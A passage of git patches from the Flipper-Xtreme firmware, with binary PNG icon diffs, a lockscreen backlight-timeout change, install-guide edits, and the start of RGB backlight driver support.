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 X0|3QCH*2DE?h6RAsdgFy0U7-p51GTg diff --git a/applications/external/tama_p1/tamaIcon.png b/applications/external/tama_p1/tamaIcon.png index 1962b68aecb344c3cf50c1826d8bd72fa221e411..ccdf23972221c356398a2fbbe307764acc5b6ca6 100644 GIT binary patch delta 877 zcma)5-%Auh9N*hhF_Kg)I;CjcF4A;vXJ>ckb{Fp~J@XFI4ihTqq1~NXUF>eR-6c<7 z0_iD=l6^=bi2i^gh#-29B9LBs?4hT64*!6l9-1?Sj0y*4=KJ&W9X=oCR_BKU_j~(! zj^p_1rLXMT7nCnY9Jjxxxl`Q3M;VT5TVM6gr-aqlBQnlG;6R9kypfZ!s$e)QAc&v@ zkt8bs$|lU42npLuEG9##u_R1QCpJHj4Dv?uCgml!c_A(5L*+pC~z!Q0k&dOpb=e0ia{*o zVDUc_G;FGRQ$99fOWw`aqx?4ZUWok%_AaS^$G#~so}?Y3nE5A%Te%XAoX`tm&#&*4 z&y>zK&4$SuYBaW(Guj9&XMx57t&@TnilfCJT6Ky22dz>%Gn?skzICQM%3Oc@gYWlR zzFcWLXOKfuyQjYEUU{{-vGMlA-H*!$U#?}lbCWMJpUT{m$Iq*cwS|NsaFvPa(zCIv GD?b5gQ}TxZ literal 1924 zcmcIlPjBNy6!*5Jbc-q>!~p>ZulE9MCmv5?JGPQ7Y13{Z)un2KTEwN}nQ>w@@fh1} z(n@eZT#%6VgCMQM6%I(tfg2q76i7&XftAX0oMeMky18J#-gvCm?;WZTHho^76ps&Gt^>Dwl zdvkLG(@&rO@f8gBRM-Cg>1Rz1d0jg(J?zChq8GNV6LEZf&|%l-%;DPBQm2n-tQ#eq$2L{;yt`Eg zgPC@k?OuYFiPN_Nr=6=<=tm-z7YP%)mmL7;luM@i!ATf#IZQvyJ(_F~O`3_imRAp9 z2N`C^uv~1qW%3A@U5pD=4+z0&Mi*0-JPfWDQT05x9iRX%Qm>d ziKf1^yCeHD@g#@rmNk_#H;~DI0)N5*?Fv1Px>HI6slf;Y(+X3l;MKTYiryJF&9V4m zPBdwOeyEQ5=u(!qL0w~c{RP)1;_#NlE*3%oJM0Mny@MBpS}KEVNE6ZMLJ?lgJAHvb zQhIrJ7>n`a{|uwRW<45p1)Q|df%AdY^!!YkuUbvNy}-4XbeU4F0nL!JAf3z9m<8Lk zJ13g4;PI57l$NKEhC3iY*Y=fj~EXKC$_=tz$!fJhjT!MXdb+#zuK!}*W58Y zMl7Uo#={Cip58F|YIaMB2ojdS9rVlh@3r9m+H5x)op(;y+1bkSDpro)Tsl}X*0y_V sALGW`9lN>GdcME>(b9u&-rCz!?i1zFcVGUxnO}VE-Gk<{?X$1{0R&<;i~s-t From cc96ade1f906d8c593cb3cb84e2499827c0ceb75 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Mon, 20 Mar 2023 02:33:43 +0000 Subject: [PATCH 177/329] Better screen timeout on lockscreen This reverts commit 9d42404ef34a591f64114820d3cfb4c6e6d3a716. Adds a 1s delay after tooltip timeout. --- .../services/desktop/scenes/desktop_scene_locked.c | 3 +++ applications/services/desktop/views/desktop_view_locked.c | 7 +++++++ applications/services/desktop/views/desktop_view_locked.h | 1 + 3 files changed, 11 insertions(+) diff --git a/applications/services/desktop/scenes/desktop_scene_locked.c b/applications/services/desktop/scenes/desktop_scene_locked.c index 1bc0683f6..03dcead88 100644 --- a/applications/services/desktop/scenes/desktop_scene_locked.c +++ b/applications/services/desktop/scenes/desktop_scene_locked.c @@ -88,6 +88,9 @@ bool desktop_scene_locked_on_event(void* context, SceneManagerEvent event) { consumed = true; break; case DesktopLockedEventUpdate: + if(desktop_view_locked_is_locked_hint_visible(desktop->locked_view)) { + notification_message(desktop->notification, &sequence_display_backlight_off_delay_1000); + } desktop_view_locked_update(desktop->locked_view); consumed = true; break; diff --git a/applications/services/desktop/views/desktop_view_locked.c b/applications/services/desktop/views/desktop_view_locked.c index 462aa5828..a7f072518 100644 --- a/applications/services/desktop/views/desktop_view_locked.c +++ b/applications/services/desktop/views/desktop_view_locked.c @@ -289,3 +289,10 @@ void desktop_view_locked_unlock(DesktopViewLocked* locked_view) { view_commit_model(locked_view->view, true); xTimerChangePeriod(locked_view->timer, pdMS_TO_TICKS(COVER_MOVING_INTERVAL_MS), portMAX_DELAY); } + +bool desktop_view_locked_is_locked_hint_visible(DesktopViewLocked* locked_view) { + DesktopViewLockedModel* model = view_get_model(locked_view->view); + const DesktopViewLockedState view_state = model->view_state; + view_commit_model(locked_view->view, false); + return view_state == DesktopViewLockedStateLockedHintShown; +} diff --git a/applications/services/desktop/views/desktop_view_locked.h b/applications/services/desktop/views/desktop_view_locked.h index 8c59c1832..4c12c0274 100644 --- a/applications/services/desktop/views/desktop_view_locked.h +++ b/applications/services/desktop/views/desktop_view_locked.h @@ -19,3 +19,4 @@ void desktop_view_locked_free(DesktopViewLocked* locked_view); void desktop_view_locked_lock(DesktopViewLocked* locked_view, bool pin_locked); void desktop_view_locked_unlock(DesktopViewLocked* locked_view); void desktop_view_locked_close_cover(DesktopViewLocked* locked_view); +bool desktop_view_locked_is_locked_hint_visible(DesktopViewLocked* locked_view); From ad52c5bc0cbf44672f29d311ac7e839d014b254b Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Mon, 20 Mar 2023 02:40:18 +0000 Subject: [PATCH 178/329] Add warning dolphin icon to asset packs --- applications/services/xtreme/assets.c | 2 ++ applications/services/xtreme/assets.h | 1 + .../Icons/Interface/WarningDolphin_45x42.png | Bin 0 -> 1012 bytes .../icons/Interface/WarningDolphin_45x42.png | Bin 1012 -> 1139 bytes 4 files changed, 3 insertions(+) create mode 100644 assets/dolphin/custom/NSFW/Icons/Interface/WarningDolphin_45x42.png diff --git a/applications/services/xtreme/assets.c b/applications/services/xtreme/assets.c index fc39f18f5..2e4e0bda9 100644 --- a/applications/services/xtreme/assets.c +++ b/applications/services/xtreme/assets.c @@ -94,6 +94,7 @@ void swap(XtremeAssets* x, FuriString* p, File* f) { icon(&x->I_iButtonDolphinVerySuccess_108x52, "iButton/iButtonDolphinVerySuccess_108x52", p, f); icon(&x->I_DolphinReadingSuccess_59x63, "Infrared/DolphinReadingSuccess_59x63", p, f); icon(&x->I_Lockscreen, "Interface/Lockscreen", p, f); + icon(&x->I_WarningDolphin_45x42, "Interface/WarningDolphin_45x42", p, f); icon(&x->I_NFC_dolphin_emulation_47x61, "NFC/NFC_dolphin_emulation_47x61", p, f); icon(&x->I_passport_bad_46x49, "Passport/passport_bad_46x49", p, f); icon(&x->I_passport_DB, "Passport/passport_DB", p, f); @@ -125,6 +126,7 @@ void XTREME_ASSETS_LOAD() { xtreme_assets->I_iButtonDolphinVerySuccess_108x52 = &I_iButtonDolphinVerySuccess_108x52; xtreme_assets->I_DolphinReadingSuccess_59x63 = &I_DolphinReadingSuccess_59x63; xtreme_assets->I_Lockscreen = &I_Lockscreen; + xtreme_assets->I_WarningDolphin_45x42 = &I_WarningDolphin_45x42; xtreme_assets->I_NFC_dolphin_emulation_47x61 = &I_NFC_dolphin_emulation_47x61; xtreme_assets->I_passport_bad_46x49 = &I_passport_bad_46x49; xtreme_assets->I_passport_DB = &I_passport_DB; diff --git a/applications/services/xtreme/assets.h b/applications/services/xtreme/assets.h index 5e96f99f7..a4995fd04 100644 --- a/applications/services/xtreme/assets.h +++ b/applications/services/xtreme/assets.h @@ -21,6 +21,7 @@ typedef struct { const Icon* I_iButtonDolphinVerySuccess_108x52; const Icon* I_DolphinReadingSuccess_59x63; const Icon* I_Lockscreen; + const Icon* I_WarningDolphin_45x42; const Icon* I_NFC_dolphin_emulation_47x61; const Icon* I_passport_bad_46x49; const Icon* I_passport_DB; diff --git a/assets/dolphin/custom/NSFW/Icons/Interface/WarningDolphin_45x42.png b/assets/dolphin/custom/NSFW/Icons/Interface/WarningDolphin_45x42.png new file mode 100644 index 0000000000000000000000000000000000000000..db225de36fe894c0c811e4201bf3ae9b461a6e6e GIT binary patch literal 1012 zcmVpIrb$FWRCwCOmuo0{VI0R#Cxt8}FI?WB+-qJaHAybXC?U5OD9SbW zP?B6rQpmkwWaUybLdqpENtE(}GPg2sTwX}lik0|(MYDglbLL#O?~8S|^PK1ToZo&| z@`Ih8pPwBZ9Mozx%Y8_KojN-^#bWWq#01NISaDokT^$@8ba!{3oSfj=Y8(=YBs)9X z)6+9PKE9`?$2uH`hldXj52>lCxCYJc?(WgikrgMpwzg&o4vj{mP$=r_>v81oyCo$heSLkF;D9llot;BMLX6%G4i5JB z_n(@Y;+Ny`@o{~9y{M?jU1qD&8@$vCVNJtnM7~qTJ z>FH^CdAXpVfOchFUERjU#_jDbFC1{d$jC?!4-eXvuCA`p(a|!QjC+o|ySvfR(VChX zGuP+l=ANFOo}Zs{%+b}=)zZ>}{B7oXm?SJLOe&Rf$)QrIP{Z=`^Z(>}>FMd$*Vo6# z$DDDXq#;&~CN2sg&7csXJ9&S9=YRtR9XS*`GRTq{85tKB7khhq9B>Q{4x*%)?-_=& zwY6<(YJ!*0rZpOl)zwuyJG-c;D8_9HTD8~L*X`|X<{Ws5wzf97Ctiz9&sSDfHZwEx z^76uvLoS#5`uZaLSoY%K;o)f8mX?;7aG<2&NhGenhKW&?mX?l;j8FuQ$us8W=4eZr z`3eXKKubW8){JwY(?qcSHE~g^wzd`-*_4+U=a`(F3=9nP^Yi17!_CdDu&@wm&0G!` zV{2g-{0Ka%rbFN7eBFBj2NckKyg1iJHxO_@TuhFWF#ky$0j*2pu&|1 zo`u|+mX_Ah(P5a@emFKaH*w?lltwG9R?EO7c*=0{`{C&A?aj-}v$3%u_!mxTXlOw3 z)4#(v$HKw_I?B+{P{LA*h=>4<-XxzK$hC+OjHb+tp`Z5|6hD+wG<)A17)Mc>QHKc2 z3PZAsi_84{{3i#pIGV2N>T1T@G4NBpii?Y31^gl8?Ch*iDD?LBCafWxD-ww$5((MZ i*oYb^u%0lkg5e)c00%&K0`C<70000jOIPc{pxWsr*JL*@+|p)oA7EpIDoAAoo_=+RA)c=F3Qf$N$` ze9k55q%DD7y=l+^ZG$aob+Aw6HDcRVJdzhs00Te;&l_3O74jlch$|r7GgAa!aDjay z@rG1;vK5ys2jF3n@vAgV<6)izn!k6Qhd>D(EhD7l zcrhJ1i9|1iwm?z2T#n2INXzM=7@p@Tnx$CQk39VDfC-hn-*jtB5oF-1j&4KUGI1}W z(rxuakw9eMRAJc3%8 zlBq3$QTyJX$a6$&1ldyi4Pe5AEE32Sg@vDzY~7qR?1u@oXh zd9(fBtV<@eK%Tm=yy&p7{=h^#@1W)WFFSe!U5pP~o71uR`FW)7xc*=d5_b}EG@XBZ z@<7MRp-;+|o}SzJvMyfx>37Y4etBizf%0H*zaIF?2ObZt?$D;{o|esJ z*PgAOIO^*8tL%z2)|}k$DP5kN5}8qo*wNa8y?R2=%wO{gCD(`sHt}TzWQuK zMDIJap(nb2=7*ns*oDcRBbC23yy`kvKYV`ovU`a=EmxNv-90;;5r6+l8hQTp^u`Hn XX6*+%8gHC`h)Tl}u@-r>vFqE{F~5F& delta 1001 zcmVVGd00X8;L_t(| z+QpY^D0^WX$4@7PEF~{o-k{uTUMMw5F3Bh%w-+eNHTO`GTuV~Oy(p9UL5VcXywhoZ#AO91@8nJ3HIc(=$FkzNe?hIvj_GhYt@A zsi~>B2F>p7?$Oba6*z{5hLVz!9335TZEtVi+S)oiJpA_dW>JovogEw*7Z<1hB_$>0 z{{DV{f8TN(Ab)6YZ_muk6bJMpwzg&o z4vj{mP$=r_>v81oyCo$heSLkF;D9llot;BMLX6%G4i5JB_n(@Y;+Ny`@o{~9y{M?j zU1qD&8@$vCVNJtnM7=Pf4VaKEiW8!z{to*4-XI8m9DO?(b3T|nT&gmySuy5(b1Zk8Z+1D=H{NBo}QndbIj4z z)z#9{g8XgfdYB|EEKDkua>=1msZhi6^Yj1YdgQHn=BVi%rj0R#rAMGxPHD!jMBQm;3tqBK%nP z;^E=pXxo;SmY8s$q~S>dnGv?;zXiJ*;3J3^5OF)s4<-XxzK$hC+OjHb+tp`Z5|6kgsC7+cEG{y^4#AVFmmlYVr^ From 40f9eeb760780fadf7178573f83bcaf1322fd307 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Mon, 20 Mar 2023 03:15:24 +0000 Subject: [PATCH 179/329] Update install docs --- .github/workflow_data/release.md | 4 ++-- ReadMe.md | 37 +++++++++++++++++++++++--------- 2 files changed, 29 insertions(+), 12 deletions(-) diff --git a/.github/workflow_data/release.md b/.github/workflow_data/release.md index 4602ffa1f..b83fb1f9c 100644 --- a/.github/workflow_data/release.md +++ b/.github/workflow_data/release.md @@ -1,9 +1,9 @@ ## ⬇️ Download ->### [📦 Zipped Archive (.zip)](https://github.com/ClaraCrazy/Flipper-Xtreme/releases/download/{release_tag}/{release_tag}.zip) [recommended] +>### [🖥️ Web Updater (chrome)](https://lab.flipper.net/?url={webupdater_url}&channel=XFW-Updater&version={release_tag}) [recommended] >### [🐬 qFlipper Package (.tgz)](https://github.com/ClaraCrazy/Flipper-Xtreme/releases/download/{release_tag}/{release_tag}.tgz) ->### [🖥️ Web Updater (chrome)](https://lab.flipper.net/?url={webupdater_url}&channel=XFW-Updater&version={release_tag}) [not recommended] +>### [📦 Zipped Archive (.zip)](https://github.com/ClaraCrazy/Flipper-Xtreme/releases/download/{release_tag}/{release_tag}.zip) **Remember to delete your `apps` folders before updating!**\ **Check the [install guide](https://github.com/ClaraCrazy/Flipper-Xtreme#install) if you're not sure, or [join our Discord](https://discord.gg/flipper-xtreme) if you have questions or encounter issues!** diff --git a/ReadMe.md b/ReadMe.md index f3ffd6ed9..6ff356136 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -159,20 +159,37 @@ Note: This repo is always updated with OFW & Unleashed. No need to mention all t ----

    Install:

    +
    -**This is the recommended install procedure. Please follow these steps EXACTLY and CAREFULLY to ensure you install correctly.** -**This process will NOT delete any saved files and simply ensures the install goes smoothly.** -

    +There are 3 methods to install Xtreme, we recommend you use the **Web Updater**, but choose whichever one you prefer: -- Download the latest release (.zip) from [The releases tab](https://github.com/ClaraCrazy/Flipper-Xtreme/releases/latest) -- Extract the archive. This is now your new Firmware folder -- Open [qFlipper](https://flipperzero.one/update), head to `SD/Update` and simply move the firmware folder there -- On the Flipper, hit the `Arrow Down` button, this will get you to the file menu. In there simply search for your updates folder -- Inside that folder, select the Firmware you just moved onto it, and run the file thats simply called `Update` +
    -- Enjoy! +>
    Web Updater (Chrome)
      +>
    • Open the latest release page and click on the Web Updater link
    • +>
    • Make sure qFlipper is closed
    • +>
    • Click Connect and select your Flipper from the list
    • +>
    • Click Install and wait for the update to complete
    • +>
    -**If you have issues or crashes with that process, you can try to use `Settings > Storage > Factory Reset` then retry the install.** +>
    qFlipper Package (.tgz)
      +>
    • Download the qFlipper package (.tgz) from the latest release page
    • +>
    • Open qFlipper and connect your Flipper
    • +>
    • Click Install from file
    • +>
    • Select the .tgz you downloaded and wait for the update to complete
    • +>
    + +>
    Zipped Archive (.zip)
      +>
    • Download the zipped archive (.zip) from the latest release page
    • +>
    • Extract the archive. This is now your new Firmware folder
    • +>
    • Open qFlipper, head to SD/Update and simply move the firmware folder there
    • +>
    • On the Flipper, hit the Arrow Down button, this will get you to the file menu. In there simply search for your updates folder
    • +>
    • Inside that folder, select the Firmware you just moved onto it, and run the file thats simply called Update
    • +>
    + +
    + +**If you have issues or crashes with the install process, you can try to use `Settings > Storage > Factory Reset` then retry the install.** **Doing that will NOT remove your saved files, it will only forget some settings and paired devices.** ---- From e6f9c0ee6117670014dd91837e9f9593a92cc4b3 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Mon, 20 Mar 2023 03:55:26 +0000 Subject: [PATCH 180/329] Add initial RGB backlight support --- .../xtreme_app/scenes/xtreme_app_scene_misc.c | 15 ++ applications/services/xtreme/settings.c | 1 + applications/services/xtreme/settings.h | 1 + .../notification_settings_app.c | 17 +- .../notification_settings/rgb_backlight.c | 171 ++++++++++++++ .../notification_settings/rgb_backlight.h | 79 +++++++ firmware/targets/f7/furi_hal/furi_hal_light.c | 12 +- lib/drivers/SK6805.c | 101 +++++++++ lib/drivers/SK6805.h | 51 +++++ lib/drivers/WS2812B.c | 212 ++++++++++++++++++ lib/drivers/WS2812B.h | 54 +++++ 11 files changed, 710 insertions(+), 4 deletions(-) create mode 100644 applications/settings/notification_settings/rgb_backlight.c create mode 100644 applications/settings/notification_settings/rgb_backlight.h create mode 100644 lib/drivers/SK6805.c create mode 100644 lib/drivers/SK6805.h create mode 100644 lib/drivers/WS2812B.c create mode 100644 lib/drivers/WS2812B.h diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c index 2286b8d31..4fe60dcb6 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c @@ -2,6 +2,7 @@ enum VarItemListIndex { VarItemListIndexChangeDeviceName, + VarItemListIndexRgbBacklight, VarItemListIndexXpLevel, VarItemListIndexButthurtTimer, }; @@ -11,6 +12,15 @@ void xtreme_app_scene_misc_var_item_list_callback(void* context, uint32_t index) view_dispatcher_send_custom_event(app->view_dispatcher, index); } +static void xtreme_app_scene_misc_rgb_backlight_changed(VariableItem* item) { + XtremeApp* app = variable_item_get_context(item); + bool value = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, value ? "ON" : "OFF"); + XTREME_SETTINGS()->rgb_backlight = value; + app->save_settings = true; + app->require_reboot = true; +} + static void xtreme_app_scene_misc_xp_level_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); app->xp_level = variable_item_get_current_value_index(item) + 1; @@ -42,6 +52,11 @@ void xtreme_app_scene_misc_on_enter(void* context) { variable_item_list_add(var_item_list, "Change Device Name", 0, NULL, app); + item = variable_item_list_add( + var_item_list, "RGB Backlight", 2, xtreme_app_scene_misc_rgb_backlight_changed, app); + variable_item_set_current_value_index(item, xtreme_settings->rgb_backlight); + variable_item_set_current_value_text(item, xtreme_settings->rgb_backlight ? "ON" : "OFF"); + char level_str[4]; snprintf(level_str, 4, "%li", app->xp_level); item = variable_item_list_add( diff --git a/applications/services/xtreme/settings.c b/applications/services/xtreme/settings.c index fe921cca5..f4ee34156 100644 --- a/applications/services/xtreme/settings.c +++ b/applications/services/xtreme/settings.c @@ -53,6 +53,7 @@ void XTREME_SETTINGS_LOAD() { xtreme_settings->bad_bt = false; // USB xtreme_settings->bad_bt_remember = false; // OFF xtreme_settings->butthurt_timer = 43200; // 12 H + xtreme_settings->rgb_backlight = false; // OFF } } } diff --git a/applications/services/xtreme/settings.h b/applications/services/xtreme/settings.h index 42069e71b..90b9b05c0 100644 --- a/applications/services/xtreme/settings.h +++ b/applications/services/xtreme/settings.h @@ -41,6 +41,7 @@ typedef struct { bool bad_bt; bool bad_bt_remember; int32_t butthurt_timer; + bool rgb_backlight; } XtremeSettings; XtremeSettings* XTREME_SETTINGS(); diff --git a/applications/settings/notification_settings/notification_settings_app.c b/applications/settings/notification_settings/notification_settings_app.c index 23ed4ac67..89242ecd9 100644 --- a/applications/settings/notification_settings/notification_settings_app.c +++ b/applications/settings/notification_settings/notification_settings_app.c @@ -3,6 +3,7 @@ #include #include #include +#include "rgb_backlight.h" #define MAX_NOTIFICATION_SETTINGS 4 @@ -119,6 +120,14 @@ static void vibro_changed(VariableItem* item) { notification_message(app->notification, &sequence_single_vibro); } +static void color_changed(VariableItem* item) { + NotificationAppSettings* app = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + rgb_backlight_set_color(index); + variable_item_set_current_value_text(item, rgb_backlight_get_color_text(index)); + notification_message(app->notification, &sequence_display_backlight_on); +} + static uint32_t notification_app_settings_exit(void* context) { UNUSED(context); return VIEW_NONE; @@ -137,7 +146,13 @@ static NotificationAppSettings* alloc_settings() { uint8_t value_index; item = variable_item_list_add( - app->variable_item_list, "LCD Backlight", BACKLIGHT_COUNT, backlight_changed, app); + app->variable_item_list, "LCD Color", rgb_backlight_get_color_count(), color_changed, app); + value_index = rgb_backlight_get_settings()->display_color_index; + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, rgb_backlight_get_color_text(value_index)); + + item = variable_item_list_add( + app->variable_item_list, "LCD Brightness", BACKLIGHT_COUNT, backlight_changed, app); value_index = value_index_float( app->notification->settings.display_brightness, backlight_value, BACKLIGHT_COUNT); variable_item_set_current_value_index(item, value_index); diff --git a/applications/settings/notification_settings/rgb_backlight.c b/applications/settings/notification_settings/rgb_backlight.c new file mode 100644 index 000000000..269b544ae --- /dev/null +++ b/applications/settings/notification_settings/rgb_backlight.c @@ -0,0 +1,171 @@ +/* + RGB backlight FlipperZero driver + Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#include "rgb_backlight.h" +#include +#include + +#define RGB_BACKLIGHT_SETTINGS_VERSION 5 +#define RGB_BACKLIGHT_SETTINGS_FILE_NAME ".rgb_backlight.settings" +#define RGB_BACKLIGHT_SETTINGS_PATH EXT_PATH(RGB_BACKLIGHT_SETTINGS_FILE_NAME) + +#define COLOR_COUNT (sizeof(colors) / sizeof(RGBBacklightColor)) + +#define TAG "RGB Backlight" + +static RGBBacklightSettings rgb_settings = { + .version = RGB_BACKLIGHT_SETTINGS_VERSION, + .display_color_index = 0, + .settings_is_loaded = false}; + +static const RGBBacklightColor colors[] = { + {"Orange", 255, 79, 0}, + {"Yellow", 255, 170, 0}, + {"Spring", 167, 255, 0}, + {"Lime", 0, 255, 0}, + {"Aqua", 0, 255, 127}, + {"Cyan", 0, 210, 210}, + {"Azure", 0, 127, 255}, + {"Blue", 0, 0, 255}, + {"Purple", 127, 0, 255}, + 